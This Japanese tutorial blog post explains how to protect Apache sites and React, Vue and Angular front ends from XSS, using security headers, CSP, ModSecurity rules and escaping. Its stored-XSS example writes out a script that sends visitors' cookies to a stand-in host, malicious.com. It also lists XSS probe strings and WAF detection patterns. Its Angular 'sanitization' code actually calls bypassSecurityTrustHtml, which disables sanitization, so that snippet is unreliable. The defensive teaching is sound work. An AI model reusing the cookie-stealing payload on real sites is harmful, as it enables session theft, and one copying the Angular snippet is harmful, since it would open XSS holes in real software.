MENU
  1. ホーム
  2. Apache
  3. ApacheでXSS攻撃を防ぐ！JavaScriptフレームワークとの安全な統合設定ガイド

ApacheでXSS攻撃を防ぐ！JavaScriptフレームワークとの安全な統合設定ガイド

Apache

XSS（クロスサイトスクリプティング）攻撃は、ウェブアプリケーションの脆弱性を悪用して、悪意のあるスクリプトをユーザーのブラウザで実行させる攻撃手法です。これにより、個人情報の盗難、セッションハイジャック、フィッシング詐欺などが引き起こされる可能性があります。

特に、Apacheサーバーを使用しているウェブサイトでは、適切な設定が行われていないとXSS攻撃のリスクが高まります。さらに、JavaScriptフレームワーク（ReactやVueなど）を用いるサイトでは、ユーザーが入力したデータをページに反映させる機会が多く、XSS攻撃が発生しやすい環境です。

本記事では、Apacheでのセキュリティヘッダーの設定やModSecurityの導入方法を中心に、JavaScriptフレームワークと連携してXSS攻撃を防ぐ具体的な方法を解説します。攻撃の原理から防御策までを包括的に学び、安全なウェブサイト運営を実現するための知識を身につけましょう。

目次
  1. XSS攻撃とは？基本概念と仕組み
    1. XSS攻撃の種類
    2. XSS攻撃の影響
  2. Apacheでのセキュリティヘッダー設定
    1. Content Security Policy (CSP)の設定
    2. X-XSS-Protectionヘッダーの設定
    3. Referrer-Policyの設定
    4. 全体的なセキュリティヘッダーの統合
  3. JavaScriptフレームワークにおけるXSS対策
    1. ReactにおけるXSS対策
    2. Vue.jsにおけるXSS対策
    3. AngularにおけるXSS対策
    4. 共通の対策ポイント
  4. Apacheでの入力サニタイズと出力エスケープ
    1. 入力サニタイズとは
    2. 出力エスケープとは
    3. Apacheの出力フィルターを活用する方法
    4. 多層防御の重要性
  5. モジュールModSecurityの導入と設定
    1. ModSecurityのインストール方法
    2. ModSecurityの基本設定
    3. ModSecurityを有効化する設定
    4. XSS攻撃対策ルールの追加
    5. 追加のセキュリティルール例
    6. ModSecurityのテストと検証
    7. トラブルシューティング
    8. ModSecurityの利点
  6. JavaScriptフレームワークとCSPの連携方法
    1. CSPの基本構文
    2. ReactとCSPの連携
    3. Vue.jsとCSPの連携
    4. AngularとCSPの連携
    5. CSPレポートモードの活用
    6. 効果的なCSPルール例
    7. まとめ
  7. 実際の攻撃例と防御方法の解説
    1. 攻撃例1：反射型XSS（Reflected XSS）
    2. 攻撃例2：持続型XSS（Stored XSS）
    3. 攻撃例3：DOMベースXSS
    4. XSS攻撃を防ぐための共通ポイント
  8. テスト環境の構築と検証方法
    1. テスト環境の構築
    2. 検証方法
    3. ModSecurityのルール検証
    4. XSS攻撃のレポート機能
    5. 自動テストツールの活用
  9. まとめ

XSS攻撃とは？基本概念と仕組み


XSS（クロスサイトスクリプティング）攻撃は、ウェブアプリケーションに悪意のあるスクリプトを注入し、ユーザーのブラウザで不正に実行させる攻撃手法です。これにより、ユーザーのセッション情報やクッキーが盗まれたり、不正なリダイレクトが発生したりします。

XSS攻撃の種類


XSS攻撃は主に以下の3種類に分類されます。

1. 反射型XSS（Reflected XSS）


攻撃者が用意したURLやフォームを経由してスクリプトが送信され、ユーザーのブラウザで即座に実行されます。フィッシング詐欺や個人情報の窃取に使われます。

2. 持続型XSS（Stored XSS）


悪意のあるスクリプトがサーバーに保存され、他のユーザーがアクセスした際に実行されます。掲示板やコメント欄などが攻撃対象となります。

3. DOMベースXSS（DOM-based XSS）


JavaScriptがブラウザ側でDOMを操作する際に発生するXSSです。クライアントサイドで動作するアプリケーションにおいて、動的にページを生成する処理に脆弱性がある場合に狙われます。

XSS攻撃の影響


XSS攻撃は、以下のような被害をもたらします。

  • セッションハイジャック：ユーザーのセッションIDが盗まれ、不正アクセスが行われる
  • クッキーの窃取：認証情報が盗まれ、他の端末から不正にログインされる
  • ページ改ざん：悪意のあるリンクやフォームが埋め込まれ、フィッシングサイトに誘導される

ウェブアプリケーションにおいてXSS攻撃は避けて通れない課題であり、早期の対策が求められます。次のセクションでは、Apacheでのセキュリティヘッダーの設定方法について詳しく解説します。

Apacheでのセキュリティヘッダー設定


XSS攻撃を防ぐためには、Apacheサーバーにセキュリティヘッダーを適切に設定することが重要です。特に、Content Security Policy (CSP) や X-XSS-Protection ヘッダーを活用することで、悪意のあるスクリプトの実行を効果的に防止できます。

Content Security Policy (CSP)の設定


CSPは、ページ内で実行可能なスクリプトやリソースの範囲を制限することで、XSS攻撃を防ぐセキュリティヘッダーです。以下は、ApacheでCSPを設定する例です。

<IfModule mod_headers.c>
    Header set Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted-cdn.com;"
</IfModule>


この設定では、スクリプトの実行を自サイト（’self’）と信頼できるCDN（https://trusted-cdn.com）に限定しています。不審な外部スクリプトはブロックされます。

X-XSS-Protectionヘッダーの設定


X-XSS-Protectionは、ブラウザのXSSフィルターを有効化するヘッダーです。特にレガシーブラウザにおいてXSS攻撃を防ぐ効果があります。

<IfModule mod_headers.c>
    Header set X-XSS-Protection "1; mode=block"
</IfModule>


この設定により、XSS攻撃が検出された場合にページのレンダリングが即座に停止されます。

Referrer-Policyの設定


不要な情報漏洩を防ぐため、リファラーポリシーの設定も重要です。これにより、リンク元の情報が外部サイトに渡らないよう制限できます。

<IfModule mod_headers.c>
    Header set Referrer-Policy "no-referrer-when-downgrade"
</IfModule>

全体的なセキュリティヘッダーの統合


複数のセキュリティヘッダーを統合して設定する例を以下に示します。

<IfModule mod_headers.c>
    Header set Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted-cdn.com;"
    Header set X-XSS-Protection "1; mode=block"
    Header set Referrer-Policy "no-referrer-when-downgrade"
    Header set X-Content-Type-Options "nosniff"
    Header set X-Frame-Options "DENY"
</IfModule>

この設定を行うことで、XSSを含む様々な攻撃に対してApacheサーバーの防御力を高めることができます。次は、JavaScriptフレームワーク側でのXSS対策について詳しく解説します。

JavaScriptフレームワークにおけるXSS対策


JavaScriptフレームワーク（React、Vue.js、Angularなど）は動的なコンテンツ生成を容易にしますが、その反面、XSS攻撃のリスクも伴います。フレームワーク固有のXSS対策を理解し、適切に実装することが重要です。

ReactにおけるXSS対策


ReactはデフォルトでXSS対策が施されており、JSX内でのテキストは自動的にエスケープされます。しかし、dangerouslySetInnerHTML の使用には注意が必要です。

const safeContent = "<p>安全なコンテンツ</p>";
const unsafeContent = "<img src='x' onerror='alert(1)'>";

// 安全な例（エスケープされる）
<p>{safeContent}</p>

// 危険な例（エスケープされない）
<div dangerouslySetInnerHTML={{ __html: unsafeContent }} />


対策

  • dangerouslySetInnerHTML の使用を最小限にし、必要な場合は必ずサーバーサイドでサニタイズを行う。
  • ライブラリ（DOMPurifyなど）を使用して、HTMLをクリーンアップする。
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(unsafeContent) }} />

Vue.jsにおけるXSS対策


Vue.jsもデフォルトでデータバインディング時にHTMLをエスケープしますが、v-html を使う場合は注意が必要です。

<template>
  <div v-html="userInput"></div>
</template>

対策

  • v-html を使わず、通常のバインディングを使用する。
  • v-html を使用する場合は、HTMLをサニタイズしてから適用する。
<template>
  <div v-html="sanitizeHtml(userInput)"></div>
</template>

<script>
import DOMPurify from 'dompurify';
export default {
  methods: {
    sanitizeHtml(html) {
      return DOMPurify.sanitize(html);
    }
  }
}
</script>

AngularにおけるXSS対策


Angularはテンプレート内で自動的にXSS対策が行われますが、[innerHTML] を使用するとエスケープが無効になります。

<div [innerHTML]="userInput"></div>

対策

  • DomSanitizer を使い、HTMLのサニタイズを行う。
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';

constructor(private sanitizer: DomSanitizer) {}

sanitizeHtml(html: string): SafeHtml {
  return this.sanitizer.bypassSecurityTrustHtml(html);
}

共通の対策ポイント

  • ユーザー入力のサニタイズはサーバー側でも行う（多層防御）。
  • コンポーネント内で直接HTMLをレンダリングする場合はサニタイズライブラリを使用する。
  • CSP（Content Security Policy）を導入し、外部スクリプトの実行を制限する。

JavaScriptフレームワークでの適切なXSS対策により、クライアントサイドのセキュリティを強化できます。次は、Apache側での入力サニタイズと出力エスケープについて解説します。

Apacheでの入力サニタイズと出力エスケープ


XSS攻撃を防ぐためには、Apache側での入力サニタイズと出力エスケープが欠かせません。これにより、不正なスクリプトがウェブアプリケーションに入り込むのを防ぎ、攻撃のリスクを軽減できます。

入力サニタイズとは


入力サニタイズは、ユーザーが送信するデータを受け取る際に、不正なスクリプトや特殊文字を無害化するプロセスです。これにより、サーバー側で処理される前に悪意のある入力を排除できます。

Apacheでの入力サニタイズ設定例


Apacheでは、ModSecurity モジュールを活用することで入力のサニタイズを自動化できます。

# ModSecurityの基本設定
<IfModule security2_module>
    SecRuleEngine On
    SecRequestBodyAccess On
    SecResponseBodyAccess Off
    SecRule ARGS|ARGS_NAMES "@rx <script>" "id:1001,phase:2,deny,status:403,msg:'XSS Attack Detected'"
</IfModule>


この設定は、リクエストパラメータ（ARGS）に<script>タグが含まれている場合に403エラーを返します。さらに、ARGS_NAMESを対象にすることで、フォーム名やパラメータ名に対してもサニタイズを適用します。

出力エスケープとは


出力エスケープは、サーバーからクライアントにデータを返す際に、不正なスクリプトがブラウザで実行されないようにするプロセスです。特に、ユーザー入力を含むページを動的に生成する際に有効です。

Apacheでの出力エスケープ設定例


Apacheは出力を直接エスケープする機能を持たないため、HTMLやPHPなどで直接処理する必要があります。以下はPHPで出力エスケープを行う例です。

<?php
$userInput = $_GET['input'];
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
?>


htmlspecialchars関数を使うことで、<や>などの特殊文字がHTMLエンティティに変換され、不正なスクリプトがブラウザで実行されなくなります。

Apacheの出力フィルターを活用する方法


Apacheでは、mod_ext_filter モジュールを使って出力エスケープを行うことも可能です。

LoadModule ext_filter_module modules/mod_ext_filter.so

<IfModule ext_filter_module>
    ExtFilterDefine sanitize mode=output intype=text/html cmd="/usr/bin/sanitize.sh"
</IfModule>


この例では、sanitize.shスクリプトを通して出力HTMLをフィルタリングしています。スクリプト内でsedなどを使って<script>タグを削除またはエスケープする処理を行います。

多層防御の重要性

  • 入力時のサニタイズ：サーバーで受け取る前に悪意のあるデータを排除。
  • 出力時のエスケープ：ユーザーのブラウザでスクリプトが実行されないように制御。
  • Apacheとアプリケーションの両方で対策を実施することで、より強固なセキュリティを実現します。

次のセクションでは、XSS対策に効果的なApacheのModSecurityモジュールの導入と設定について解説します。

モジュールModSecurityの導入と設定


ModSecurityは、Apacheで動作する強力なウェブアプリケーションファイアウォール（WAF）であり、XSS攻撃をはじめとする様々なウェブ攻撃を防ぐことができます。特に、XSS攻撃に対してはリクエストの検査とフィルタリングを行い、不正なスクリプトの挿入を防ぎます。

ModSecurityのインストール方法


まずは、ModSecurityをApacheにインストールします。以下は、CentOSおよびUbuntuでのインストール手順です。

CentOS/RHEL

sudo yum install mod_security
sudo systemctl restart httpd

Ubuntu/Debian

sudo apt update
sudo apt install libapache2-mod-security2
sudo systemctl restart apache2

インストール後、モジュールが有効になっているか確認します。

apachectl -M | grep security2


security2_moduleと表示されれば、ModSecurityが有効です。

ModSecurityの基本設定


ModSecurityの設定ファイルは通常、以下のパスにあります。

/etc/modsecurity/modsecurity.conf

ModSecurityを有効化する設定

SecRuleEngine On


SecRuleEngine Onとすることで、ModSecurityが有効になります。デフォルトではDetectionOnlyになっているため、アクティブにする必要があります。

XSS攻撃対策ルールの追加

以下の設定で、XSS攻撃が疑われるリクエストを検出してブロックします。

SecRequestBodyAccess On
SecRule ARGS|ARGS_NAMES "@rx <script>" \
    "id:1001,phase:2,deny,status:403,msg:'XSS Attack Detected'"


このルールは、リクエストパラメータやフォームデータに<script>タグが含まれていた場合に403エラーを返します。

追加のセキュリティルール例

# SQLインジェクションの防止
SecRule ARGS "@rx select.*from.*" \
    "id:1002,phase:2,deny,status:403,msg:'SQL Injection Attempt'"

# パスのトラバーサル防止
SecRule REQUEST_URI "@rx \.\./" \
    "id:1003,phase:2,deny,status:403,msg:'Path Traversal Attack Detected'"


これにより、SQLインジェクションやパストラバーサルといった他の攻撃にも対応可能です。

ModSecurityのテストと検証


ルールが正しく動作するかをテストするために、以下のようなスクリプトを含むリクエストを送信します。

curl -X POST "http://example.com" -d "name=<script>alert(1)</script>"


403エラーが返ってくれば、ModSecurityが正しく機能しています。

トラブルシューティング

  • 誤検知が多い場合：ルールの厳格さを調整するか、特定のパスやパラメータを除外するルールを追加します。
SecRuleRemoveById 1001
  • パフォーマンスが低下する場合：SecRequestBodyLimitで解析するボディサイズを制限します。

ModSecurityの利点

  • リアルタイムの攻撃防御
  • シンプルなルール構築で細かいセキュリティポリシーを設定可能
  • 柔軟なログ機能で詳細なアクセス解析が可能

ModSecurityを導入することで、Apacheサーバー全体のセキュリティレベルが大幅に向上します。次は、JavaScriptフレームワークとCSPの連携方法について詳しく解説します。

JavaScriptフレームワークとCSPの連携方法


Content Security Policy (CSP)は、XSS攻撃を防ぐために非常に有効なセキュリティヘッダーです。JavaScriptフレームワーク（React、Vue.js、Angularなど）とCSPを適切に連携させることで、クライアントサイドのセキュリティを強化できます。特に動的にコンテンツを生成するフレームワークでは、外部スクリプトの制限やインラインスクリプトの防止が重要です。

CSPの基本構文


CSPは以下のようにApacheで設定します。

<IfModule mod_headers.c>
    Header set Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted-cdn.com;"
</IfModule>


この設定では、すべてのスクリプトは自サイト（’self’）および信頼されたCDNからのみ読み込むことができます。不明な外部スクリプトはすべてブロックされます。

ReactとCSPの連携


ReactではJSX内でスクリプトが自動的にエスケープされますが、dangerouslySetInnerHTMLを使う場合はCSPの制限が有効です。

CSP設定例：

Header set Content-Security-Policy "script-src 'self' https://cdnjs.cloudflare.com;"
  • dangerouslySetInnerHTMLでレンダリングするHTMLにはDOMPurifyを使用してサニタイズします。
import DOMPurify from 'dompurify';

const safeContent = DOMPurify.sanitize("<p>安全なコンテンツ</p>");
<div dangerouslySetInnerHTML={{ __html: safeContent }} />;
  • インラインスクリプトの許可が必要な場合は、nonce（一時的なトークン）を使用します。
Header set Content-Security-Policy "script-src 'self' 'nonce-random123';"
<script nonce="random123">console.log('Safe Script');</script>

Vue.jsとCSPの連携


Vue.jsも同様にCSPを設定します。テンプレート内でv-htmlを使用する際には注意が必要です。

<template>
  <div v-html="userContent"></div>
</template>


CSP設定例：

Header set Content-Security-Policy "default-src 'self'; script-src 'self';"
  • v-htmlにはサニタイズされたデータを使用します。
import DOMPurify from 'dompurify';
export default {
  data() {
    return {
      userContent: DOMPurify.sanitize('<h1>サニタイズ済み</h1>')
    };
  }
}

AngularとCSPの連携


AngularではデフォルトでXSS対策が施されていますが、[innerHTML]を使用する際には特別な対策が必要です。

<div [innerHTML]="userHtmlContent"></div>


CSP設定例：

Header set Content-Security-Policy "script-src 'self' https://trusted-angular-cdn.com;"
  • Angularでのインラインスクリプト使用はDomSanitizerを活用します。
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';

constructor(private sanitizer: DomSanitizer) {}

sanitizeHtml(html: string): SafeHtml {
  return this.sanitizer.bypassSecurityTrustHtml(html);
}

CSPレポートモードの活用


CSPの設定ミスによる表示不具合を防ぐために、レポートモードで試験的に適用できます。

Header set Content-Security-Policy-Report-Only "script-src 'self'; report-uri /csp-report-endpoint;"
  • 違反したスクリプトが検出されると、/csp-report-endpointにレポートが送信されます。

効果的なCSPルール例

Header set Content-Security-Policy "
default-src 'self';
script-src 'self' 'nonce-random123' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
object-src 'none';
base-uri 'self';"
  • default-src：すべてのリソースのデフォルトソースを制限
  • script-src：スクリプトソースを指定
  • style-src：インラインCSSも制限
  • img-src：画像のデータスキームを許可
  • object-src：Flashやプラグインを完全に禁止

まとめ


JavaScriptフレームワークとCSPを適切に連携させることで、XSS攻撃のリスクを大幅に軽減できます。特に外部からのスクリプト実行を制限し、危険なインラインスクリプトを防止することで、より安全なウェブアプリケーションの構築が可能になります。次は、実際の攻撃例と防御方法について解説します。

実際の攻撃例と防御方法の解説


XSS攻撃は、実際のウェブサイトで日常的に発生しています。ここでは、具体的なXSS攻撃の事例を紹介し、それに対するApacheとJavaScriptフレームワークを使った防御方法を解説します。

攻撃例1：反射型XSS（Reflected XSS）


シナリオ
攻撃者は、以下のようなURLを犠牲者に送ります。

https://example.com/search?query=<script>alert('XSS')</script>


検索結果ページがユーザーの入力をそのままHTMLに埋め込んで表示する場合、ブラウザが<script>タグを実行し、アラートが表示されます。
影響

  • セッションIDの窃取
  • ユーザーのクッキー情報を盗むスクリプトの実行
  • フィッシングサイトへのリダイレクト

防御方法

  • 入力サニタイズ（ModSecurityで対応）
SecRule ARGS "@rx <script>" \
    "id:1001,phase:2,deny,status:403,msg:'XSS Attack Detected'"
  • 出力エスケープ（アプリケーションレベルで対応）
echo htmlspecialchars($_GET['query'], ENT_QUOTES, 'UTF-8');
  • CSP設定でインラインスクリプトを制限
Header set Content-Security-Policy "default-src 'self'; script-src 'self';"

攻撃例2：持続型XSS（Stored XSS）


シナリオ
掲示板やコメント欄に次のような悪意あるスクリプトを投稿されます。

<script>document.location='https://malicious.com/steal?cookie='+document.cookie;</script>


これが保存され、他のユーザーがページを訪れた際にスクリプトが実行されます。
影響

  • 多くのユーザーに対して同時に攻撃が可能
  • 持続的な個人情報の流出

防御方法

  • フォーム入力のサニタイズ（PHP側）
$comment = htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8');
  • データベース挿入前にスクリプトを除去
$comment = strip_tags($_POST['comment']);
  • ModSecurityルールの追加
SecRule ARGS "@rx <script>" \
    "id:1002,phase:2,deny,status:403,msg:'Stored XSS Attack Detected'"
  • CSPで外部スクリプトの実行を防止
Header set Content-Security-Policy "script-src 'self';"

攻撃例3：DOMベースXSS


シナリオ
以下のようなJavaScriptがユーザーのブラウザで動作する場合、URLのクエリパラメータから直接DOMを書き換えます。

let userInput = location.search.split('=')[1];
document.getElementById('output').innerHTML = userInput;


https://example.com/page?name=<script>alert(1)</script> のようなURLでアクセスすると、スクリプトが直接挿入されてしまいます。
影響

  • クライアントサイドでのデータ窃取やリダイレクト

防御方法

  • DOMPurifyでサニタイズ
import DOMPurify from 'dompurify';
let userInput = DOMPurify.sanitize(location.search.split('=')[1]);
document.getElementById('output').innerHTML = userInput;
  • CSPでインラインスクリプトを禁止
Header set Content-Security-Policy "script-src 'self' 'nonce-xyz123';"

XSS攻撃を防ぐための共通ポイント

  1. 入力サニタイズと出力エスケープの徹底
    ユーザーが入力したデータは必ず検証・サニタイズしてから処理する。
  2. CSPの活用
    外部スクリプトやインラインスクリプトを制限し、許可されたソースからのみスクリプトを実行。
  3. Apache ModSecurityの導入
    サーバーレベルでリクエストをフィルタリングし、不正なデータの送信を防止する。
  4. テストと検証
    XSS攻撃が実際に防止されているか、テスト環境でシミュレーションを行い確認する。

次のセクションでは、XSS対策のテスト環境を構築し、どのように検証するかを解説します。

テスト環境の構築と検証方法


XSS対策が正しく機能しているかを確認するためには、テスト環境を構築してシミュレーションを行うことが不可欠です。ここでは、ApacheサーバーでXSS攻撃をテストし、防御策が適切に動作するかを検証する方法を解説します。

テスト環境の構築

  1. Apacheサーバーのセットアップ
    以下のコマンドでApacheをインストールし、起動します。
sudo apt update
sudo apt install apache2
sudo systemctl start apache2
  1. ModSecurityのインストールと設定
    ModSecurityをインストールしてXSS対策を行います。
sudo apt install libapache2-mod-security2
sudo a2enmod security2
sudo systemctl restart apache2
  1. テストページの作成
    以下のような簡易テストページを作成します。
<!-- /var/www/html/xss_test.html -->
<html>
<head>
    <title>XSS Test Page</title>
</head>
<body>
    <h1>XSS Test</h1>
    <form action="xss_test.html" method="GET">
        <label>Search:</label>
        <input type="text" name="query">
        <button type="submit">Submit</button>
    </form>
    <div id="output">
        <?php echo htmlspecialchars($_GET['query'] ?? '', ENT_QUOTES, 'UTF-8'); ?>
    </div>
</body>
</html>

検証方法

  1. 反射型XSSのテスト
    ブラウザで以下のURLを開きます。
http://localhost/xss_test.html?query=<script>alert('XSS')</script>
  • 期待される動作：アラートが表示されず、<script>タグが無効化される。
  • 実際の動作を確認し、問題があればhtmlspecialchars関数が適切に使われているか確認します。
  1. 持続型XSSのテスト
    コメント機能がある場合、フォームから次のコードを送信します。
<script>alert('Stored XSS')</script>
  • 期待される動作：コメントが無害化され、スクリプトが実行されない。
  • strip_tagsやhtmlspecialcharsが適切に適用されているか検証します。
  1. DOMベースXSSのテスト
    次のスクリプトをxss_test.htmlに追加してテストします。
let query = new URLSearchParams(window.location.search).get('query');
document.getElementById('output').innerHTML = query;


以下のURLでテストします。

http://localhost/xss_test.html?query=<script>alert(1)</script>
  • 期待される動作：アラートが表示されず、スクリプトがエスケープされる。
  • 修正方法としては、DOMPurifyを利用します。
import DOMPurify from 'dompurify';
let clean = DOMPurify.sanitize(query);
document.getElementById('output').innerHTML = clean;

ModSecurityのルール検証


ModSecurityが適切に動作しているかをテストします。

curl -X POST "http://localhost/xss_test.html" -d "query=<script>alert('XSS')</script>"
  • 403エラーが返ってくればModSecurityが正常に動作しています。
  • 動作しない場合は/etc/modsecurity/modsecurity.confを確認し、SecRuleEngine Onになっているか確認します。

XSS攻撃のレポート機能


CSPレポートモードを活用して、XSS攻撃がブロックされているか監視します。

Header set Content-Security-Policy-Report-Only "default-src 'self'; report-uri /csp-report-endpoint;"


レポートは/var/log/apache2/error.logなどに記録されます。

自動テストツールの活用


XSSテストを自動化するためのツールも活用します。

  • OWASP ZAP：XSS攻撃の自動検出
  • Burp Suite：セキュリティ脆弱性診断ツール
zap-cli quick-scan -t http://localhost


これらのツールを使い、継続的にXSSの脆弱性を検出し、対策を行うことで安全なサイト運営が可能になります。

次は、この記事のまとめを解説します。

まとめ


本記事では、XSS攻撃の仕組みとそれを防ぐためのApacheとJavaScriptフレームワークでの具体的な対策方法を解説しました。

  • XSSの種類（反射型、持続型、DOM型）とその影響を理解し、実際の攻撃例を通じて被害の深刻さを把握しました。
  • Apacheでのセキュリティヘッダー設定やModSecurityの導入によって、サーバーサイドでの防御力を強化する方法を学びました。
  • JavaScriptフレームワーク（React、Vue.js、Angular）でのエスケープ処理やCSP（Content Security Policy）の設定方法を紹介し、クライアントサイドでのセキュリティ対策を強化しました。
  • 実際にXSS攻撃が防げているかを確認するために、テスト環境の構築と検証方法についても具体的に説明しました。

多層防御（サーバー、クライアントの両面）を意識し、常にセキュリティ対策をアップデートしていくことが重要です。これにより、ウェブアプリケーションをXSS攻撃から保護し、安全で信頼性の高いサービスを提供することが可能になります。

Apache
Apache XSS対策 JavaScriptセキュリティ

コメント

コメントする

目次
  1. XSS攻撃とは？基本概念と仕組み
    1. XSS攻撃の種類
    2. XSS攻撃の影響
  2. Apacheでのセキュリティヘッダー設定
    1. Content Security Policy (CSP)の設定
    2. X-XSS-Protectionヘッダーの設定
    3. Referrer-Policyの設定
    4. 全体的なセキュリティヘッダーの統合
  3. JavaScriptフレームワークにおけるXSS対策
    1. ReactにおけるXSS対策
    2. Vue.jsにおけるXSS対策
    3. AngularにおけるXSS対策
    4. 共通の対策ポイント
  4. Apacheでの入力サニタイズと出力エスケープ
    1. 入力サニタイズとは
    2. 出力エスケープとは
    3. Apacheの出力フィルターを活用する方法
    4. 多層防御の重要性
  5. モジュールModSecurityの導入と設定
    1. ModSecurityのインストール方法
    2. ModSecurityの基本設定
    3. ModSecurityを有効化する設定
    4. XSS攻撃対策ルールの追加
    5. 追加のセキュリティルール例
    6. ModSecurityのテストと検証
    7. トラブルシューティング
    8. ModSecurityの利点
  6. JavaScriptフレームワークとCSPの連携方法
    1. CSPの基本構文
    2. ReactとCSPの連携
    3. Vue.jsとCSPの連携
    4. AngularとCSPの連携
    5. CSPレポートモードの活用
    6. 効果的なCSPルール例
    7. まとめ
  7. 実際の攻撃例と防御方法の解説
    1. 攻撃例1：反射型XSS（Reflected XSS）
    2. 攻撃例2：持続型XSS（Stored XSS）
    3. 攻撃例3：DOMベースXSS
    4. XSS攻撃を防ぐための共通ポイント
  8. テスト環境の構築と検証方法
    1. テスト環境の構築
    2. 検証方法
    3. ModSecurityのルール検証
    4. XSS攻撃のレポート機能
    5. 自動テストツールの活用
  9. まとめ